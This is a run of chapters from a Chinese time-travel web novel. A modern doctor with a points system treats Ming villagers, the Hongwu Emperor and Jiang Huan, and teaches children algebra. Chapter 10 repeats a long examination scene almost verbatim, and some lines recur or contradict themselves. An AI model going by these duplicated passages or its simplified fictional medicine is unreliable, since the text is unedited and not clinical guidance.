《我在大明开医馆》
第8章 兑换了村卫生所全套设备
他翻开说明书,开始研究这些设备的用法。
太阳能板的安装倒是简单,但调试却让他犯了难。按照说明书,他需要将连接线接入转换器,可那小小的接口怎么也插不进去。
“见鬼,这玩意儿比绣花还精细。“马淳嘟囔着,额头上沁出细密的汗珠。
他试着将连接线反过来插,这次倒是顺利进去了。可当他按下开关时,整个系统发出一声刺耳的“滴——“,吓得他差点跳起来。
“什么情况?“马淳手忙脚乱地翻开说明书,“哦,原来要先启动主控面板。“
他按照指示操作,这次系统终于安静下来,面板上的指示灯亮起了柔和的绿光。
“总算搞定了。“马淳长舒一口气,瘫坐在椅子上。
就在这时,门外传来急促的敲门声。
“马大夫!马大夫在吗?“
马淳赶紧将设备收进柜子,这才去开门。门外站着村里的王婶,怀里抱着个五六岁的小女孩。
“马大夫,我家丫头从早上就说肚子疼,现在疼得直打滚,您快给看看!“
马淳立刻进入状态:“抱进来,放床上。“
小女孩脸色煞白,额头冒着冷汗,双手紧紧捂着右下腹。马淳轻轻按压她的腹部,在麦氏点位置,孩子疼得直缩。
“可能是阑尾炎。”马淳皱眉,转身拉开药柜的布帘,从里面推出便携式B超机。
银白色的机器在晨光中泛着冷光,轮子转动时发出轻微的吱呀声。
王婶瞪大眼睛:“这、这是啥铜镜?咋还会动?”
“这叫B超,能看见肚子里的情况。”马淳挤了些耦合剂,温热的凝胶让小翠缩了缩脖子。探头贴上皮肤的瞬间,屏幕上立刻显出模糊的影像。
肠管像扭曲的河流,右下腹却有一团明显的阴影——阑尾肿胀得像根小指,周围渗出液形成的光斑如同撒了一把碎盐。
“老天爷!”王婶倒吸一口凉气,指着屏幕,“这黑疙瘩是啥?”
“发炎的阑尾。”马淳调整图像放大,“还好发现得早,化脓还不严重。”他边说边配好抗生素注射液,针头刺入小翠手背时,孩子哭闹着挣扎。
“乖,把这个输进去就不疼了。”马淳用纱布固定好针头,调整输液速度,“像喝糖水一样,一会儿就好。”
王婶紧张地搓着手:“马大夫,这病……会不会要命啊?”
“不会。”马淳看了眼输液瓶,“先用药控制炎症,这两天只能喝米汤,禁食油腻。”
当然明朝这个时候,想吃荤腥也难,但出于医生的习惯他还是叮嘱了一句。
小翠渐渐安静下来,大眼睛好奇地盯着屏幕上跳动的图像。
马淳趁机教她认肠子形状,孩子被逗得咯咯笑,早忘了疼痛。
正说着,门外传来老李的声音:“马大夫,您给开的药真灵,我家小子退烧了!”
老李抱着儿子进来,三岁的小娃娃精神多了,正啃着一块麦芽糖。
马淳给孩子复查了体温,顺手从柜子里摸出个小风车递过去。
“退烧了也别大意,这几天别着凉。”
老李连连点头,从怀里掏出两个还温乎的鸡蛋硬塞给马淳:“自家鸡下的,您补补身子。”
马淳推辞不过,只好收下。
送走老李父子,他回到诊室继续照看小翠。
输液瓶里的药液一滴一滴落下,阳光透过玻璃瓶,在地面投下晃动的光斑。
王婶坐在床边打起了瞌睡,小翠也迷迷糊糊睡着了。
马淳轻手轻脚地取出血压计,给熟睡的孩子测了测生命体征。
电子屏上的数字稳定在正常范围,他松了口气。
后院传来咕咕的叫声,马淳这才想起还没喂鸡。
他抓了把小米撒在院子里,几只芦花鸡立刻扑棱着翅膀围上来。
“慢点吃,没人和你们抢。”
正喂着鸡,隔壁张婶挎着篮子过来:“马大夫,听说您治好了老李家小子的急症?我家蒸了槐花饼,您尝尝。”
篮子里躺着几个金黄的饼子,散发着清甜的香气。
马淳道了谢,掰开一块尝了尝,槐花的滋味在舌尖化开。
“张婶手艺真好。”
“您喜欢就好!”张婶笑得眼角的皱纹都舒展开,“对了,后山笋子正嫩,明儿我让小子给您送些来。”
“那可麻烦了。”马淳道谢。
“这有啥麻烦,您可是咱村子的活菩萨。”
夕阳西下时,小翠的输液终于结束。
孩子醒来后精神多了,嚷嚷着肚子饿。
马淳热了碗米汤,看着她小口小口喝完。
“明天再来复查一次。”他收起输液架,顺手往小翠口袋里塞了块麦芽糖。
王婶千恩万谢地抱着孩子走了。
马淳收拾好器械,关上医馆的门。
晚风送来炊烟的气息,远处传来孩童嬉戏的笑声。
他伸了个懒腰,望着天边绚丽的晚霞。
这样平静而充实的日子,似乎也不错。
……
翌日清晨,朱元璋换了一身寻常富户的打扮,带着朱标、翰林院侍讲刘三吾和锦衣卫指挥使蒋瓛出了宫门。
蒋瓛脸色蜡黄,还伴随着轻微咳嗽,鼻下时常挂着两挂清鼻涕,却还是忠心耿耿地跟着。
四人骑马而行,侍卫远远跟在后面。
朱标见父亲眉头微皱,轻声问道:“爹,您身子不适?”
朱元璋摆摆手:“无妨,就是胸口有些闷,去看看也好。小马大夫能治好你娘和雄英,医术应该不差。”
刘三吾捋着胡须,语气中带着几分不屑:“陛下,乡野郎中多有奇技淫巧之术,未必可靠。太医院诸位大人皆饱读医书,循古法而治,才是正道。”
蒋瓛闻言,冷冷扫了刘三吾一眼,吸了下鼻涕:“刘学士慎言,马大夫救了皇后娘娘和皇长孙,岂是寻常江湖郎中可比?”
朱元璋抬手制止二人争执:“行了,先去看看再说。”
一行人来到小青村时,日头已经升高。村口几个孩童正在玩耍,见到生人立刻跑开。
马淳正在医馆后院晾晒草药,听到脚步声抬头望去,只见昨日那威严老者带着三个陌生人站在院门外。
“老先生,您来了。”马淳放下手中的活计,擦了擦手。
朱元璋微微颔首:“小大夫,老夫带家人来道谢。顺道看看病。”
马淳目光扫过朱标等人,心中了然。
这老者气度不凡,随行之人也非等闲之辈。
“请进。”他侧身让开。
医馆内整洁明亮,药柜上摆满瓶瓶罐罐。
朱元璋环视一圈,目光在角落那台奇怪的机器上停留片刻。
“这是何物?”他指着B超机问道。
马淳面不改色:“诊病用的器具。”
刘三吾皱眉上前,语气生硬:“此物形状怪异,非我中原之物,莫非是西域邪术?”
马淳还未答话,蒋瓛已冷声道:“刘先生,马大夫治病救人,何来邪术一说?”
……
第9章 他连皇帝都敢训斥?
马淳扫了一眼站在朱元璋身后的几人,目光重新落回老者身上。
他指了指诊桌旁的木凳:“老先生请坐,哪里不舒服?”
朱元璋撩起衣摆坐下,将手腕平放在脉枕上。“咱这几日胸口发闷,夜里睡不安稳。”
马淳伸出三指搭在老者腕间,指腹下的脉搏跳得又快又硬。
他微微皱眉,又观察了一下朱元璋的面色。眼白泛着血丝,眼下挂着青黑,嘴唇颜色偏暗。
“您这是长期操劳过度,肝火旺盛。”马淳收回手,“平时是不是容易发怒?夜里经常熬夜?”
朱元璋眼中闪过一丝诧异,随即点头:“朝……家里事务繁多,难免。”
站在一旁的刘三吾忍不住插话:“肝火之说太过笼统,不少大夫都诊断我家老爷乃是心脾两虚。”
马淳没理会刘三吾,从药柜下层取出一个奇怪的物件。
银色的带子连着个小盒子,盒子上还有块会发光的琉璃片。
“这是何物?”朱元璋盯着马淳手中的血压计。
“测血压的。”马淳将袖带缠在朱元璋上臂。
朱元璋伸手摸了摸冰凉的金属外壳,看向马淳:“小大夫,方才听你说什么血压,这是何物?”
马淳将血压计的袖带取下,示意朱元璋坐下:“血压就是血液在血管中流动时对血管壁产生的压力。就像河水冲刷河岸一样,水势越急,对河岸的压力就越大。”
朱标凑过来,好奇地看着那跳动的银色细线:“父亲,马大夫的意思是,您体内的血液流动太过急促,就像汛期的河水,容易冲垮堤坝。”
马淳赞许地看了朱标一眼:“这位公子说得对。长期如此,轻则头晕目眩,重则可能中风。”
朱元璋若有所思地点点头,将手臂放在桌上。
马淳将袖带缠在他的上臂,开始充气。
刘三吾站在一旁,眉头紧锁:“荒谬!《黄帝内经》有云‘血行脉中’,何来什么压力之说?分明是妖言惑众!”
蒋瓛冷冷地瞪了刘三吾一眼,刘三吾缩了缩脖子,没敢再出声。
袖带渐渐鼓起,朱元璋感到手臂一阵发紧。
感到不适之后,他下意识地抽动了一下手。
马淳专注地盯着血压计的刻度,头也不抬地说道:“别动,测不准了。”
这一幕让朱标等人瞪大了眼睛,蒋瓛的手已经按在了刀柄上,刘三吾更是倒吸一口凉气。
这乡野大夫居然敢呵斥皇帝?
这要是在朝堂上,早就被拖出去砍掉了脑袋。
然而让他们没想到的是,朱元璋的手臂立刻僵住,竟真的像个听话的孩子般一动不动。
“为何越收越紧?”朱元璋皱眉问道,声音里却没有半分怒意。
马淳手指轻轻转动气囊阀门:“这是在阻断血流,等会儿慢慢放气时,听到的第一声脉搏就是收缩压,最后消失的声音是舒张压。”
袖带继续充气,朱元璋的手臂被勒得发红。
朱标忍不住上前一步:“父亲……”
“无妨。”朱元璋摆摆手,反而好奇地观察着马淳的动作,“小大夫,这法子倒是新奇。”
马淳将听诊器头放在朱元璋肘窝处,专注地听着。医馆里安静得能听见针落的声音,所有人都屏住了呼吸。
“高压160,低压90。”马淳报出数字,松开袖带,“老先生,您的血压偏高。”
朱元璋活动了下手臂:“这数字何意?”
“正常人在120左右。”马淳收起血压计,“您这个数值说明血管压力过大,长期如此容易引发中风或心疾。”
刘三吾终于按捺不住,厉声道:“荒谬!单凭这古怪器具就敢妄下论断?我家老爷身体康健,怎会有你说的这些毛病!”
马淳没理会他,不慌不忙地取出纸笔:“老先生是否经常头痛?尤其是生气或劳累时?”
朱元璋眼中闪过一丝讶异,微微点头。
“夜间睡眠如何?可有多梦易醒?”
“确实如此。”朱元璋摸了摸下巴,“有时半夜醒来,再难入睡。”
马淳将血压计收好,转身对朱元璋说道:“老先生,您这是平常易怒肝火大,加上长期熬夜伤神导致的血压偏高。肝火重而气性大,因气性大而血压高,恶性循环。若不及时降血压、保证睡眠,恐怕有一天会突然过去。”
蒋瓛听到马淳居然敢说皇帝容易过去,顿时脸色一变,手按在刀柄上就要发作。
朱标眼疾手快,一把拉住他的袖子,微微摇头。
朱元璋却连连点头:“可不是,一天到晚那么多事,能不生气?能不熬夜?”
马淳从药柜里取出一个小瓷瓶,倒出几粒药丸放在纸上:“这是降压药,每日早晚各服一粒。另外,您得改改生活习惯,少动怒,多休息。”
刘三吾忍不住插嘴:“荒谬!我家老爷日理万机,岂能说休息就休息?”
马淳瞥了他一眼:“命重要还是事重要?再这么下去,不出三年,必有大患。”
朱元璋接过药丸,放在掌心端详:“这药……”
“放心,没毒。”马淳倒了杯温水递过去,“您现在就可以吃一粒试试。”
朱元璋毫不犹豫地将药丸吞下,把杯子还给马淳:“小大夫说话直来直去,倒是合咱的脾气。”
马淳笑了笑:“医者父母心,看到病人糟蹋自己身子,难免着急。”
收血压计的时候,马淳目光在朱元璋和朱标之间转了一圈。
他注意到老者虽然威严,但眉宇间透着疲惫,而那位年轻些的男子则恭敬地站在一旁,眼中满是关切。
“老先生,看您儿子都这么大了,别事事都自己亲力亲为。”马淳一边整理药柜一边说道,“得给年轻人历练的机会,享受享受天伦之乐不是更好?”
医馆内瞬间安静得落针可闻。
刘三吾倒吸一口凉气,山羊胡子都抖了起来。
他活了大半辈子,从未听过如此大逆不道的话。让皇帝让权?这简直是诛九族的大罪!
他下意识地看向朱元璋,生怕皇帝一怒之下当场发作。
蒋瓛的手已经按在了刀柄上,指节发白。
作为锦衣卫指挥使,他太清楚这话的分量。
历朝历代,哪个皇帝不是死死抓着权力不放?敢劝皇帝放权的,坟头草都三尺高了。
朱标更是惊得瞪大了眼睛。
他身为太子,深知父亲对权力的看重。
即便自己这个亲儿子,在朝政大事上也从不敢有半分逾越。这小郎中竟敢当着父皇的面说这种话?
然而出乎所有人意料的是,朱元璋非但没有发怒,反而哈哈大笑起来。
他拍了拍膝盖,眼中竟流露出几分赞许。
“小大夫说得在理。”朱元璋转头看向朱标,目光中带着少有的温和,“咱这儿子确实该多历练历练。”
朱标一时语塞,不知该如何接话。
他偷偷观察父亲的神色,确认那笑容里没有一丝勉强,这才稍稍放下心来。
刘三吾急得直搓手:“老爷,这……这恐怕不妥吧?少主虽聪慧,但毕竟年轻,大事还需您亲自把关才是。”
朱元璋摆摆手:“雏鹰总要自己飞,老护在翅膀底下能有什么出息?”
他说着站起身,活动了下肩膀,“小大夫这药倒是灵,咱觉得胸口松快多了。”
马淳将包好的药递过去:“按时服药,保持心情舒畅。您这病三分靠药,七分靠养。”
……
第10章 脱裤子?你要非礼我?
马淳的目光落在蒋瓛身上。
这个身材魁梧的汉子虽然站得笔直,但面色蜡黄,鼻尖发红,时不时吸一下鼻子,显然身体不适。
“这位好汉似乎身体不适?”马淳指了指诊椅,“要不要也看看?”
蒋瓛下意识后退半步,摆手道:“不必了,小毛病。”
朱元璋却来了兴致,转头对蒋瓛道:“既然来了,就让小大夫给你瞧瞧。咱也想看看这稀奇古怪的器具怎么用。”
刘三吾捋着山羊胡子,眼中闪着幸灾乐祸的光:“蒋大人莫非怕了?老夫倒想见识见识这西洋镜能照出什么花样来。”
蒋瓛瞪了刘三吾一眼,不情不愿地坐到诊椅上。他浑身紧绷,像是随时准备跳起来逃跑。
马淳取出体温计,示意蒋瓛张嘴。
“含着这个,别咬。”
蒋瓛皱眉盯着那根细长的玻璃管,迟疑道:“这是何物?”
“测体温的。”马淳简单解释,“含在舌下,一会儿就好。”
蒋瓛将信将疑地含住体温计,表情活像吞了只活苍蝇。
朱元璋看得直乐,朱标也忍不住抿嘴偷笑。
片刻后,马淳取出体温计看了看:“三十八度二,发烧了。”
他又拿出听诊器,“把上衣解开些,我听听肺音。”
蒋瓛顿时涨红了脸,手按在衣襟上迟迟不动。
朱元璋催促道:“磨蹭什么,赶紧的。”
蒋瓛只得解开衣领,露出结实的胸膛。
马淳将听诊器贴上去,冰凉的金属让他猛地一颤。
“深呼吸。”
蒋瓛深吸一口气,突然剧烈咳嗽起来。
马淳仔细听着,眉头渐渐皱起。
“肺部有杂音,感冒已经发展到支气管了。”他收起听诊器,又拿出压舌板,“张嘴,啊——”
蒋瓛不情愿地张开嘴,马淳用压舌板压住他的舌头,用手电筒照了照喉咙。
“咽喉红肿,扁桃体发炎。”马淳放下工具,转身去药柜取药,“重感冒,需要消炎退烧。”
刘三吾凑过来,阴阳怪气道:“就这些古怪玩意儿,能诊出什么病?老夫看蒋大人面色发青,分明是肝气郁结。”
马淳头也不回:“肝气郁结会两胁胀痛,蒋大人有这症状吗?”
蒋瓛摇头。
马淳的目光落在蒋瓛身上。这个身材魁梧的汉子虽然站得笔直,但面色蜡黄,鼻尖发红,时不时吸一下鼻子,显然身体不适。
“这位好汉似乎身体不适?”马淳指了指诊椅,“要不要也看看?”
蒋瓛下意识后退半步,摆手道:“不必了,小毛病。”
老者却来了兴致,转头对蒋瓛道:“既然来了,就让小大夫给你瞧瞧。咱也想看看这稀奇古怪的器具怎么用。”
山羊胡子的文士捋着胡子,眼中闪着幸灾乐祸的光:“蒋兄莫非怕了?老夫倒想见识见识这西洋镜能照出什么花样来。”
蒋瓛瞪了文士一眼,不情不愿地坐到诊椅上。他浑身紧绷,像是随时准备跳起来逃跑。
马淳取出体温计,示意蒋瓛张嘴。
“含着这个,别咬。”
蒋瓛皱眉盯着那根细长的玻璃管,迟疑道:“这是何物?”
“测体温的。”马淳简单解释,“含在舌下,一会儿就好。”
蒋瓛将信将疑地含住体温计,表情活像吞了只活苍蝇。老者看得直乐,年轻些的男子也忍不住抿嘴偷笑。
片刻后,马淳取出体温计看了看:“三十八度二,发烧了。”
他又拿出听诊器,“把上衣解开些,我听听肺音。”
蒋瓛顿时涨红了脸,手按在衣襟上迟迟不动。老者催促道:“磨蹭什么,赶紧的。”
蒋瓛只得解开衣领,露出结实的胸膛。马淳将听诊器贴上去,冰凉的金属让他猛地一颤。
“深呼吸。”
蒋瓛深吸一口气,突然剧烈咳嗽起来。马淳仔细听着,眉头渐渐皱起。
“肺部有杂音,感冒已经发展到支气管了。”他收起听诊器,又拿出压舌板,“张嘴,啊——”
蒋瓛不情愿地张开嘴,马淳用压舌板压住他的舌头,用手电筒照了照喉咙。
“咽喉红肿,扁桃体发炎。”马淳放下工具,转身去药柜取药,“重感冒,需要消炎退烧。”
马淳收起听诊器,看着蒋瓛蜡黄的脸问道:“好汉,你是要缓治还是急治?”
蒋瓛吸了吸鼻子,声音沙哑:“自然是急治,越快越好。”
“那好。”马淳转身从药柜里取出一个银色托盘,上面摆着几样奇怪的器具,“把裤子脱了,趴到诊床上去。”
蒋瓛猛地瞪大眼睛,手不自觉地按在腰带上:“脱裤子?为何要脱裤子?”
朱元璋和朱标对视一眼,忍不住笑出声来。刘三吾捋着胡子,嘴角直抽。
马淳一脸平静:“急治就要打针,打在臀部肌肉上效果最好。放心,很快就好。”
蒋瓛的脸涨得通红,连连摆手:“不治了不治了,我缓治就行!”
朱元璋拍着大腿笑道:“老蒋啊,你可是咱的护卫队长,怎么能讳疾忌医呢?赶紧脱了让大夫治!”
朱标也忍俊不禁:“蒋护卫,治病要紧,面子事小。”
刘三吾阴阳怪气地补刀:“蒋护卫该不会是怕了吧?老夫你是铁打的汉子呢。”
蒋瓛气的胡子直翘,却又不敢发作。
他求助地看向朱元璋,却见皇帝正兴致勃勃地等着看热闹。
马淳已经拉起了帘子,手里拿着一支闪着寒光的针管:“快点,药都配好了。”
蒋瓛一咬牙,硬着头皮解开腰带。
他动作僵硬得像块木头,磨蹭了半天才勉强褪下外裤,趴在诊床上时整个人都在发抖。
朱元璋笑得直拍桌子:“老蒋啊老蒋,你也有今天!”
朱标别过脸去,肩膀不住地抖动。
刘三吾踮着脚想偷看,被马淳一个眼神瞪了回去。
“放松点,肌肉绷这么紧,针头会断的。”马淳用棉球在蒋瓛臀部消毒,凉飕飕的感觉让这位锦衣卫指挥使浑身一颤。
针头刺入的瞬间,蒋瓛发出一声闷哼。
他死死攥着床单,额头冒出细密的汗珠。
“好了。”马淳利落地拔出针头,贴上一块纱布,“按着,别揉。”
蒋瓛如蒙大赦,手忙脚乱地提上裤子,脸上的表情像是刚经历了一场酷刑。
朱元璋笑得眼泪都出来了:“老蒋,你这模样可比抓进屋的贼精彩多了!”
蒋瓛黑着脸系好腰带,小声嘟囔:“我的一世英名啊……”
马淳收拾着器械,嘴角也忍不住上扬:“打针而已,又不是要你的命。这药见效快,晚上就能退烧。”
朱标擦了擦笑出的眼泪,好奇地问道:“马大夫,方才那针管是何物?看着不像寻常银针。”
“这叫注射器。”马淳晃了晃手中的针管,“直接把药送进肌肉里,比喝药快得多。”
刘三吾凑过来,眯着眼打量:“稀奇,老夫也懂些岐黄之术,却从未见过此物。”
马淳笑而不答,转身去写药方。
朱元璋若有所思地看着他的背影,突然问道:“小大夫,你这身医术是跟谁学的?”
“家传的。”马淳头也不抬,“我父亲是游方郎中,走南闯北学了不少本事。”
朱元璋点点头,没再多问。
他起身活动了下筋骨,感觉胸口确实松快了不少。
“时候不早了,咱该回去了。”朱元璋对马淳说道,“小大夫医术高明,咱很佩服。日后若有需要,尽管来应天府寻咱。”
说着一努嘴,蒋瓛立刻奉上十贯钞作为答谢。
明朝初期是禁止民间禁用金银作为货币流通的。
马淳拱手道:“老先生客气了,治病救人是我本分。”
朱元璋大笑:“好一个本分!咱就喜欢你这性子!”
正说话的功夫,外面有三个孩童拿着草纸,在门口喊:“小马大夫,我们的题不会解了,您教我们。”
……
第11章 鸡兔同笼与阿拉伯数字
马淳听到孩童的呼唤,放下手中的药包走出门去。
三个七八岁的孩子正蹲在医馆门口的石阶上,用树枝在地上写写画画。
“小马大夫,这道题我们算了好久都不会。”为首的男孩递上一张皱巴巴的草纸,上面歪歪扭扭写着几行字,“鸡兔同笼,上有三十五头,下有九十四足,问鸡兔各几何?”
马淳接过草纸,蹲下身来:“这是道好题,我来教你们个简单的解法。”
他从药箱里取出炭笔,在纸上写下几个奇怪的符号。朱元璋等人好奇地凑过来,只见纸上写着:
设鸡为x,兔为y x+ y= 35 2x+ 4y= 94
刘三吾瞪大眼睛:“这是何文字?为何如此歪斜?”
马淳头也不抬:“这是阿拉伯数字,用来计数很方便。”他边说边在纸上演算,“把第一式乘以二,得2x加2y等于70。用第二式减去这个,得2y等于24,所以y等于12。”
马淳继续道:“既然兔有12只,那么鸡就是35减12等于23只。你们看,这样算是不是很快?”
三个孩子蹲在医馆门口的石阶上,眼巴巴地望着马淳手中的草纸。
朱元璋等人也凑过来,好奇地打量着纸上那些奇怪的符号。
“小马大夫,这些歪歪扭扭的字是什么?”朱元璋指着纸上的阿拉伯数字问道。
马淳笑了笑:“这是阿拉伯数字,从西域传来的计数符号。您看这个‘1’就代表‘一’,‘2’代表‘二’,以此类推。”
刘三吾捋着山羊胡子,眉头紧锁:“荒谬!我华夏自有‘壹贰叁肆’这样庄重的大写数字,何必用这些番邦符号?”
“刘先生说得对,大写数字确实庄重。”马淳不慌不忙地解释,“但阿拉伯数字书写简便,计算时不容易出错。比如记账时用阿拉伯数字记录数量,再用大写数字写明金额,既方便又稳妥。”
朱元璋若有所思地点点头:“倒是有理。咱看那些账本上,经常有人把‘柒’写成‘染’,把‘捌’写成‘扒’,闹出不少笑话。”
马淳趁机在纸上写下两行对照:“1 2 3 4 5 6 7 8 9 0壹贰叁肆伍陆柒捌玖零。”
“您看,这样对照着用,各取所长。”
朱标凑近细看,眼中闪着好奇的光芒:“这‘0’倒是巧妙,能表示‘无’的概念。我朝算盘虽好用,但遇到空位时总要留神。”
马淳听到朱元璋的话,将手中的炭笔轻轻搁在纸上。
他指着那个圆形的符号解释道:“这个‘0’可不简单,它代表着‘无’,却又蕴含着‘有’的可能。”
朱元璋眯起眼睛,盯着那个奇怪的圆圈:“咱活了这么大岁数,倒是头一回听说‘无’还能用符号表示。”
“这正是它的精妙之处。”马淳用炭笔在纸上画了个大大的零,“您看,它就像一个空碗,看似什么都没有,却能盛下万物。在算学中,它能让计数更加清晰准确。”
刘三吾不屑地哼了一声:“故弄玄虚!”
马淳不慌不忙地在纸上写下“一百零三”和“103”:“刘先生请看,用阿拉伯数字表示,不仅书写简便,而且一目了然。这个‘0’放在中间,明确表示十位空缺,不会误读成‘一百三’。”
朱标若有所思地点点头:“确实如此。账册中常有‘一百三’与‘一百零三’混淆不清的弊病,若用此法,当可避免。”
马淳继续解释:“这‘0’不仅是占位符号,更是算学基础。有了它,负数、小数、代数等学问才能发展起来。”
他在纸上写下几道算式,“您看,任何数加上0都不变,乘以0则归零。这是天地间最公平的法则。”
朱元璋盯着那些算式,拍案道:“妙啊!这不正是‘无为而治’的道理?朝廷不加干预,百姓自然繁衍生息;若横征暴敛,就如乘以零,终将一无所有!”
马淳微笑颔首:“老先生悟性极高。这‘0’在道家看来,恰似‘无极’之境,看似空无一物,实则包罗万象。”
蒋瓛揉着还在发疼的屁股,忍不住插嘴:“马大夫,您这学问是从哪儿学来的?”
“家父曾游历西域,带回来不少奇书。”马淳随口编了个理由,转而指向那个零,“您看它的形状,首尾相连,无始无终,象征着圆满与循环。人生也是如此,从零开始,又归于零,周而复始。”
三个孩童听得入神,其中一个举手:“小马大夫,那为什么零不能做除数呢?”
马淳赞许地看了孩子一眼:“问得好。就像你不能把一块饼分给零个人一样,这是违背天理的。”
他拿起一张纸撕成两半,“分给两个人,每人半张;分给一个人,得整张。若分给零个人……”
他做了个撕碎的动作,“毫无意义。”
朱元璋哈哈大笑:“说得好!咱当年要军粮,最恨那些虚报人数的,可不就是想把粮食‘分给零个人’?”
刘三吾仍不死心:“即便如此,这些番邦符号终究难登大雅之堂。朝廷文书、科举考试,难道都用这些歪歪扭扭的字?”
马淳从容应对:“刘先生多虑了。正如筷子与刀叉各有所长,汉字庄重典雅,适合正式文书;阿拉伯数字简便快捷,利于计算。二者并用,岂不更好?”
蒋瓛揉着还在发疼的屁股,忍不住插嘴:“可这些番邦字看着别扭,哪有我汉字方正大气?”
马淳正要解释,最小的那个孩子举手:“小马大夫,我爷爷说算学要讲‘术’,您这个解法算是什么‘术’啊?”
“这叫方程法。”马淳摸了摸孩子的头,“不过古人解这类问题也有妙法。比如‘抬腿法’,你们听说过吗?”
三个孩子齐齐摇头。
朱元璋来了兴致:“哦?何为抬腿法?”
马淳拿起树枝在地上画起来:“假设笼子里所有鸡兔都抬起两只脚,那么鸡就坐地上了,兔子还站着两只脚。现在总脚数就少了三十五乘二,等于七十只脚。”
“九十四减七十剩二十四,这些就是兔子站着的脚。每只兔还剩两只脚,所以兔有十二只,鸡就是三十五减十二等于二十三只。”
刘三吾眼前一亮:“妙哉!此法不用那些古怪符号,纯以算理推之,正合《九章》要义!”
朱元璋拍腿大笑:“这法子好!”
马淳笑道:“抬腿法确实巧妙,适合初学。不过遇到复杂问题时,方程法就更显优势。两种方法各有所长,关键要看用在什么地方。”
朱标若有所思:“马大夫此言有理。做事也是如此,既要遵循古制,也要与时俱进。”
朱元璋赞许地看了儿子一眼,转头对马淳说:“小大夫见识不凡。咱看你教孩子也有一套,完全可以到国子监去当个算学先生。”
马淳连忙摆手:“老先生抬爱了。我这点本事,也就教教村里孩童。国子监乃天下英才汇聚之地,我可不敢献丑。”
眼见着耽误了不少时间,朱元璋起身告辞,不过告辞前,他指了指测压仪:“小马大夫,你那个测血压的东西倒是挺好用,咱出钱,能否卖给我们?”
马淳很大方,“行,送你们一个。”
反正这东西在商场兑换也很便宜……
第12章 乡卫生所全套设备要十五万积分?
待朱元璋一行人离去,三个孩子又围上来:“小马大夫,继续教我们做题吧!“
马淳笑着点头,重新拿起树枝在地上划起来。
一行人走出医馆时,夕阳已经西沉。蒋瓛走路还有些别扭,引得朱元璋又是一阵大笑。
回宫的路上,朱标忍不住问道:“父亲,您觉得这马大夫如何?”
朱元璋摸着下巴,眼中闪着精光:“是个妙人。医术高明却不张扬,说话直接却不失分寸。更难得的是,他敢对咱说真话。”
刘三吾插嘴道:“陛下,此人来历不明,那些古怪器具更是闻所未闻,恐怕……”
“恐怕什么?”朱元璋斜了他一眼,“他救了皇后,救了雄英,今日又给咱和老蒋治病,哪一样不是实实在在的功劳?刘三吾啊,你这人就是太死板。”
刘三吾缩了缩脖子,不敢再多言。
蒋瓛走在最后,突然打了个喷嚏。
他揉了揉鼻子,惊讶地发现呼吸竟然通畅了许多。
“神了……”他小声嘀咕,“那针还真管用。”
朱元璋回头笑道:“怎么样,老蒋,不后悔脱裤子了吧?”
蒋瓛苦着脸:“陛下就别取笑末将了。”
众人大笑,惊起路旁树上的几只麻雀。
……
【叮!医治高血压患者,奖励积分20000!】
【叮!医治重感冒患者,奖励积分200!】
当看到这样的奖励的时候,马淳都愣了一下,人跟人的差距居然这么大。
其实他看得出那几个人应该不是普通人,非富即贵,不过他不在乎,他不去打听别人的事情,别人打听自己也随便糊弄一下。
毕竟不管是什么人物,只要知道自己的医术不差都不会对自己怎么样?
因为世界上最公平的事情就是,任何人得病都会死,而权贵更怕死,而自己这样的大夫就是他们的第二条生命,所以不管是什么势力,都不会轻易对一个神医下手,反而会始终供着。
尤其在古代这种即便得个伤风都可能没命的特殊时期,一个神医的存在更是宝贵。
马淳点开了系统,查看了一下自己的积分。
除去花了18000积分兑换了村卫生所的配置外,大部头的积分兑换倒是没有。
如今加上这20200积分,还有将近3万积分。
他点开了商城,转往贵的那一类去看。
好家伙一看吓一跳。
马淳盯着系统商城里的物品,眼睛都直了。
便携式X光机、全自动生化分析仪、心电图机……每一样都让他心跳加速。
可再一看价格,顿时像被泼了盆冷水。
“十万积分?”他揉了揉眼睛,确认自己没看错。
这得攒到猴年马月去。
手指在虚拟屏幕上划动,更多好东西映入眼帘。
抗生素大礼包、抗病毒特效药、急救手术套装……
最底下还有套乡卫生所全套设备,标价十五万积分。
马淳咽了咽口水。
这套设备要是能兑换出来,别说小青村,整个应天府的医疗水平都能提升一大截。
可他现在只有不到三万积分,连个零头都不够。
“系统,能不能分期付款?”他半开玩笑地问。
【本系统概不赊账。】
马淳叹了口气,退而求其次查看三万积分能买什么。
一套基础手术器械要两万五,剩下的积分勉强够买些常用药。
正犹豫间,门外传来脚步声。
马淳赶紧关闭系统界面,抬头看见王婶抱着小翠站在门口。
“马大夫,您给看看,丫头说肚子不疼了,可还是没胃口。”
马淳收起心思,起身迎上去。小翠脸色比昨天好多了,正啃着手指头东张西望。
“来,叔叔看看。”马淳轻轻按压小翠的腹部,“还疼吗?”
小翠摇摇头,奶声奶气地说:“不疼,就是饿。”
王婶松了口气:“这孩子从早上就要吃糖,我怕她肠胃受不了,没敢给。”
马淳笑着从抽屉里摸出块麦芽糖:“少吃点没关系。阑尾炎恢复期要清淡饮食,但也不能饿着。”
他转身从药柜里取出一个小纸包:“这是助消化的药,饭前吃半包。”
王婶千恩万谢地接过,临走时突然压低声音:“马大夫,听说昨儿个有贵人来瞧病?”
马淳手上动作一顿:“就是个寻常富户,怎么了?”
“村里都在传,说那家老爷气度不凡,怕是应天府来的大人物。”王婶神秘兮兮地说,“您可要小心些,这些贵人最难伺候。”
马淳不以为意:“治病救人,不分贵贱。”
送走王婶,马淳重新打开系统。
这次他仔细筛选,最终决定先兑换一套基础手术器械和常用药包。
【叮!扣除25000积分,兑换基础手术器械套装成功。】
【叮!扣除4500积分,兑换常用药包成功。】
柜子里多了个沉甸甸的檀木箱,打开一看,手术刀、止血钳、缝合针等一应俱全,都是这个时代能见到的样式,只是做工精良许多。
药包里则是分门别类的药材,都用小瓷瓶装着,标签上写着药名和功效。
马淳拿起一瓶“退热散”,打开闻了闻,是熟悉的阿司匹林味道。
“总算有点像样的装备了。”他满意地点点头。
傍晚时分,马淳正在后院晾晒草药,忽听前院传来嘈杂声。
他擦了擦手走出去,看见几个村民围着一个陌生男子。
那人约莫三十出头,一身粗布衣裳,风尘仆仆的样子。
见马淳出来,连忙上前行礼:“这位可是马大夫?小人陈三,特来求医。”
马淳打量他一眼:“哪里不舒服?”
陈三欲言又止,看了看周围的村民。马淳会意,将人引进内室。
关上门,陈三立刻跪下:“求马大夫救救我家小姐!”
马淳扶他起来:“慢慢说,怎么回事?”
